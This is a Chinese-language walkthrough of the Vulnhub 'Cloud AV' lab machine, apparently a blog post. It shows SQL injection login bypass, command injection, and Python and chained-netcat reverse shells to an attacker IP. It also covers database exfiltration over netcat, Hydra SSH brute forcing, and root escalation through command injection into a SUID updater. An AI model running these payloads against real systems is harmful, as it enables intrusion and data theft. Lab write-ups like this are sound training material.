Vulnhub-CLOUD AV

攻击机 : 192.168.100.8 靶机 : 未知

信息收集

IP发现

arp-scan -l
netdiscover -r 192.168.100.0/24

image.png

For 循环arping主机发现

for i in $(seq 1 254); do arping -c 2 192.168.100.$i; done
image.png
目标主机 : 192.168.100.9

端口扫描

nmap -sV -p 1-65535 192.168.100.9
image.png
框架 Werkzeug httpd 0.14.1 (Python 2.7.15rc1)

8080端口image.png

云防病毒扫描程序!
这是一个测试版云防病毒扫描程序服务。
请输入邀请代码以开始测试

随便输入数字 ,返回一个错误的测试
image.png

思考

这种输入框
存在什么漏洞呢 sql注入 ,xss ,命令执行 。代码执行 xxe 等等

FUZZ SQL 注入

这里简单fuzz 一下 sql注入
image.png
使用这些符号 进行fuzz 因为不同的符号在不同的服务器 没有过滤的情况下 可能存在报错

burp 抓包 fuzz

image.png
发送到 Intruder
image.png
爆破
image.png
爆破之后 查看 与其他长度不相同的数据
image.png

SQL 注入

在输入 " 之后 数据库报错了
报错之后 大概率是存在sql注入的

这里的数据库 是 使用 python 加上 sqlite 搭建的数据库

这里报错的点 没有对其进行闭合 所以报错了
if len(c.execute(‘select * from code where password="’ + password + ‘"’).fetchall()) > 0:image.png

select * from code where password='; + password + ' ')

都知道报错之后 进行注释 然后就可以绕过登录 或者 执行sql 代码
使用
" or 1=1 -- -
image.png
就成功绕过登录了
image.png
这里说
云防病毒扫描程序!
请尝试用我们的扫描仪扫描这些文件!
可以看见存在
bash cat netcat python
输入 存在的hello
image.png image.png
他就会去执行扫描这个文件

思考

他是linux 主机
他是去怎么执行的呢 ,怎么去扫描一个主机的呢
执行命令 比如这是一个查杀软件 avscan
执行 avscan hello
那按照 linux shell
我可不可以去添加符号 执行多个命令呢

命令执行

常见的符号

& 
'&'的作用是使命令在后台运行。只要在命令后面跟上一个空格和 & 。你可以一口气 在后台运行多个命令。
;
就是分号,作用就是可以进行多条命令的无关联执行,每一条执行结果 互不影响
&&
windows的用法和功能都一样,都是左边成功才执行右边
||
跟windows一样,前面执行失败才执行后面
()
如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用圆括号()把所有命令组合起来
echo 1 && (echo 1 > 11.txt;cp 11.txt  /)

在输入框 执行 hello || id
看是否成功执行 id 命令
image.png成功执行
image.png
成功执行id 命令

反弹shell

python

hello || python 代码

python -c "import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.100.8',4444));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);"

image.png

NC

NC -e 参数
-e prog 程序重定向,一旦连接,就执行 [危险!!]
因为nc -e 这个参数 很危险 现在大部分 都被阉割掉了
靶机里面的-e 是不能使用的
直接 使用 nc 是可以证明nc是可以正常使用的 但是这里这种直接连接的方式是连接不了的
image.png

NC 串联

1.开启两个侦听端口
2.建立连接

image.png

hello || nc 192.168.100.8 3333 | /bin/bash | nc 192.168.100.8 4444
nc 与 kali 3333 端口建立连接 通过管道 bin/bash 解析 然后用nc 反馈给 4444 端口
image.png
成功连接
在3333 端口输入命令 在 4444 监听的端口进行返回数据
这里已经返回shell 但是 权限只有 普通用户的权限

提权

再监听一个nc 端口
用于将接收到的请求都 建立个文件
重定向
nc -nvlp 5555 > db.sql
nc -192.168.100.8 < databases.sql
image.png
image.png
执行 sqlite3
image.png
打开sql 文件
.open db.sql 没有报错就打开成功 了
.dump
image.png
password 字段
存在4个密码
那用户呢
查看 /etc/passwd 文件 查看有多少可以登录的用户
cat /etc/passwd | grep /bin/bash 筛选一下
三个用户
root
cloudav
scanner
image.png
创建用户 , 密码字典
image.png

hydra 工具

https://zhuanlan.zhihu.com/p/397779150
Hydra是一款非常强大的暴力破解工具
目前该工具支持以下协议的爆破:
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。

hydra -L user.txt -P pass.txt -t 2 -vV -e ns 192.168.100.9 ssh
hydra -L user.txt -P pass.txt ssh://192.168.100.9
很可惜都没有爆破出来
image.png

失败告终
那还有什么思路么
内核提权 或者 查看目录文件 是否有普通用户可以执行root 权限的文件呢
image.png
上一级
image.png

image.png
这个
update_cloudav 程序 带有SUID权限
凡是具有suid权限标记位的可执行文件,当这个文件一旦执行的时候,无论当前是任何用户账号,在执行这个文件后就会默认继承这个文件属主的权限,也就是root的权限
可以设想一下如果可以执行update_cloudav程序,再通过某种命令注入的方法,利用它的suid权限标记位,若利用成功就可以用root权限来执行目标系统中的命令,包括任何可以反弹shell的命令,最终的结果就都会形成获得了一个root权限的反弹shell
而且是由 update_cloudav.c 编译而成的程序

代码审计

查看 update_cloudav.c
image.png

image.png

freshclam 文件
image.png

是linux clamav的一个杀软
image.png
如果程序在执行中不包含参数,那么会打印出这段话:This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam;
如果我们执行程序使用了参数,那么程序就会执行freshclam,运行病毒库更新
image.png
./update_cloudav "a | id "
可以看出来成功执行了 而且还是root 权限

image.png
那这里就可以使用nc 串联 去反弹shell 了
image.png
成功反弹shell
root 权限

  • 32
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值